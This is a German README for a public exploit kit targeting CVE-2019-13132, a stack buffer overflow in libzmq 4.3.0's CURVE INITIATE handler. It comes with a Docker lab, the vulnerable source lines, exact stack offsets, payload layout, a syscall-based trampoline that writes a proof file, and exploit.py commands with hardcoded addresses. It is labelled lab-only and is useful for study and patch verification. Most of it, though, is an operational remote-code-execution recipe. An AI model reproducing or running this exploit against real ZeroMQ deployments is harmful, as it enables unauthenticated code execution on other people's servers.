
CVE-2019-13132 — libzmq CURVE INITIATE Stack-Überlauf → RCE. Funktionierender Exploit + Docker Lab.
Ende-zu-Ende funktionierender RCE-Exploit + reproduzierbares Labor für CVE-2019-13132, einen Stack-Pufferüberlauf im CURVE INITIATE Handshake-Handler von libzmq. Ein Angreifer, der den langfristigen öffentlichen Schlüssel des Servers kennt (ein öffentlicher Parameter per Design), kann einen Puffer fester Größe auf dem Stack in process_initiate() überlaufen lassen, die gespeicherte Rücksprungadresse überschreiben und die Ausführung auf beliebigen Code umleiten.
Von Nicolas Krassas (@dinosn).
Nur für Laboreinsatz. Dieses Kit enthält eine absichtlich verwundbare libzmq 4.3.0 mit deaktivierten Schutzmaßnahmen. Port 5556 nicht außerhalb des Labors freigeben. Der Fehler wurde in libzmq 4.3.2 behoben.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Automatisierter Rauchtest (führt Exploit aus und überprüft die Nachweisdatei):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box ist ein 416 Byte großer Stack-Puffer. Der memcpy schreibt size - 113 Bytes in den 400 Byte großen Nutzdatenbereich (Offset 16..415). Jedes INITIATE mit size > 513 läuft über den Puffer hinaus in die gespeicherten Callee-Register und die Rücksprungadresse.
Die Cookie-Überprüfung erfolgt vor dem Überlauf, daher muss das INITIATE ein gültiges Cookie tragen – aber das Cookie wird aus der vorherigen WELCOME-Nachricht unter ausschließlicher Verwendung des öffentlichen Long-Term-Schlüssels des Servers gewonnen.
Das CURVE-Protokoll ist so ausgelegt, dass Clients den öffentlichen Long-Term-Schlüssel des Servers bereits besitzen (er steht in der Verbindungs-URI oder Konfiguration). Der Exploit:
memcpy wird ausgelöst.Keine Anmeldeinformationen auf Anwendungsebene. Keine ZAP-Authentifizierungsumgehung. Der Überlauf erfolgt während des CURVE-Schlüsselaustauschs, bevor die Anwendung den Gegenüber überhaupt sieht.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
Der Exploit sendet 464 Bytes Nutzlast: 456 Bytes Füllmaterial (0x41) um die Rücksprungadresse zu erreichen, dann 8 Bytes mit der Adresse von lab_trampoline().
Nach dem Überlauf schlägt crypto_box_open() fehl (die überlaufenen Daten sind Müll-Chiffretext). Der Fehlerpfad protokolliert den Fehler, setzt errno und gibt -1 zurück – der Fehlerpfad greift jedoch nur auf Stack-Positionen unterhalb des Überlaufbereichs zu (RSP+0xe0, RSP+0xf0, RSP+0x280), sodass er sauber mit dem korrupten Stack läuft.
Der Funktions-Epilog (add $0x628,%rsp; pop rbx-r15; ret) holt die korrupten gespeicherten Register (jetzt 0x4141414141414141) und dann lädt ret unsere Trampolin-Adresse.
lab_trampoline() verwendet raw syscalls (kein libc, kein fork()), um die Nachweisdatei zu schreiben:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Raw syscalls werden anstelle von system()/fork() verwendet, da process_initiate() auf dem I/O-Thread von libzmq läuft – der Aufruf von fork() von einem Nicht-Hauptthread in einem Multithread-Prozess verklemmt sich aufgrund der pthread_atfork-Lock-Handler von glibc.
Der öffentliche Long-Term-Schlüssel des Servers ist ein öffentlicher Parameter im CurveZMQ-Protokoll – Clients müssen ihn besitzen, um sich zu verbinden. Er wird typischerweise in Konfigurationsdateien, URIs oder Discover-Mechanismen verteilt. Der Exploit benötigt kein geheimes Material.
Der Exploit benötigt zwei Werte:
| Feld | Wert | Quelle |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (nicht-PIE-Binär, feste Adresse) |
offset_to_ret | 456 | Disassemblierung von process_initiate (0x658 - 0x490) |
Beide sind in exploit.py als eingebaute Standardwerte für den Docker-Lab-Build (Debian 12, gcc 12, libzmq 4.3.0) hartkodiert. Kein Kalibrierungsschritt erforderlich – einfach den Exploit ausführen:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Auflösungspriorität: --trampoline/--offset-Flags → --profile-Datei → /opt/zmq-curve-rce/profile.json → eingebaute Standardwerte.
ZMTP hat keine Introspections-API. Der Greeting verrät nur die Protokollversion (3.x) und den Mechanismus (CURVE) – nichts über den libzmq-Build, den Compiler oder das Binärlayout. Es gibt keinen zur Laufzeit zugänglichen Build-Identifikator, der eine automatische Offset-Auswahl gegen unbekannte Ziele ermöglichen würde.